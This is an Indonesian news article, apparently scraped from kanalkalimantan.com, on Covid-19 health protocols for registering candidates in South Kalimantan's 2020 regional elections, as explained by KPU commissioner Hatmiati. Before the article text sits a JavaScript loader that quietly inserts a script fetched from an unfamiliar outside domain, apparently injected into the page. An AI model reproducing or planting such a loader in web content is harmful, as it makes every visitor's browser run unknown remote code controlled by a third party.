(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Dalam waktu sepekan kedepan, pendaftaran bakal calon kepala daerah baik di Pilgub, Pilbup dan Pilwali di Kalimantan Selatan serentak dibuka.
Pendaftaran bakal calon kepala daerah di masing-masing Komisi Pemilihan Umum (KPU) harus mematuhi protokol kesehatan Covid-19.
Komisioner KPU Provinsi Kalsel Divisi Teknis Penyelenggaraan Dr Hatmiati mengungkapkan, berdasarkan PKPU Nomor 6 Tahun 2020, bakal calon kepala daerah harus mematuhi protokol kesehatan saat menyerahkan berkas pendaftaran ke KPU, baik di KPU Provinsi Kalsel maupun KPU di 7 kabupaten dan kota di Kalsel yang menyelenggarakan Pilkada Serentak 2020.
“Ada beberapa hal yang mendasar. Seperti saat pendaftaran, tidak seperti biasa, dimana tim baik itu dari partai politik, gabungan partai politik dan tim calon perseorangan, datang ke kantor KPU tidak bisa banyak seperti biasa,” kata Hatmiati usai sosialisasi tahapan pemilihan calon wali kota dan wakil wali kota Banjarmasin di Swiss-belhotel Banjarmasin, Senin (24/8/2020) sore.
Sehingga, mantan Komisioner KPU Kabupaten Hulu Sungai Utara ini meminta, agar tim dari bakal calon kepala daerah tersebut datang secukupnya saja. Nantinya, akan tergantung dari kapasitas ruangan.
Namun begitu, bukan berarti KPU membatasi tim dari bakal calon kepala daerah untuk mendaftar di KPU. Namun KPU hanya menerima beberapa tim bakal calon kepala daerah tergantung dari kapasitas ruangan yang ada.
“Yang jelas, yang harus berhadir itu pasangan calon (kepala daerah), tim pengusung. Kemudian kalau calon perseorangan itu, yaitu calon perseorangan dan tim kampanyenya,” imbuh Hatmiati.
Disamping itu, saat menyerahkan berkas pun, Hatmiati menekankan, agar diberi pembungkus plastik. Tujuannya, agar berkas tidak mudah basah manakala disemprot disinfektan.
“Berkas yang mereka kumpulkan yang diserahkan ke KPU itu harus dibungkus dengan bahan yang tahan air. Jadi, tidak basah ketika dilakukan penyemprotan disinfektan, sebelum berkas itu dibuka,” pungkas Hatmiati. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More
KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More
This website uses cookies.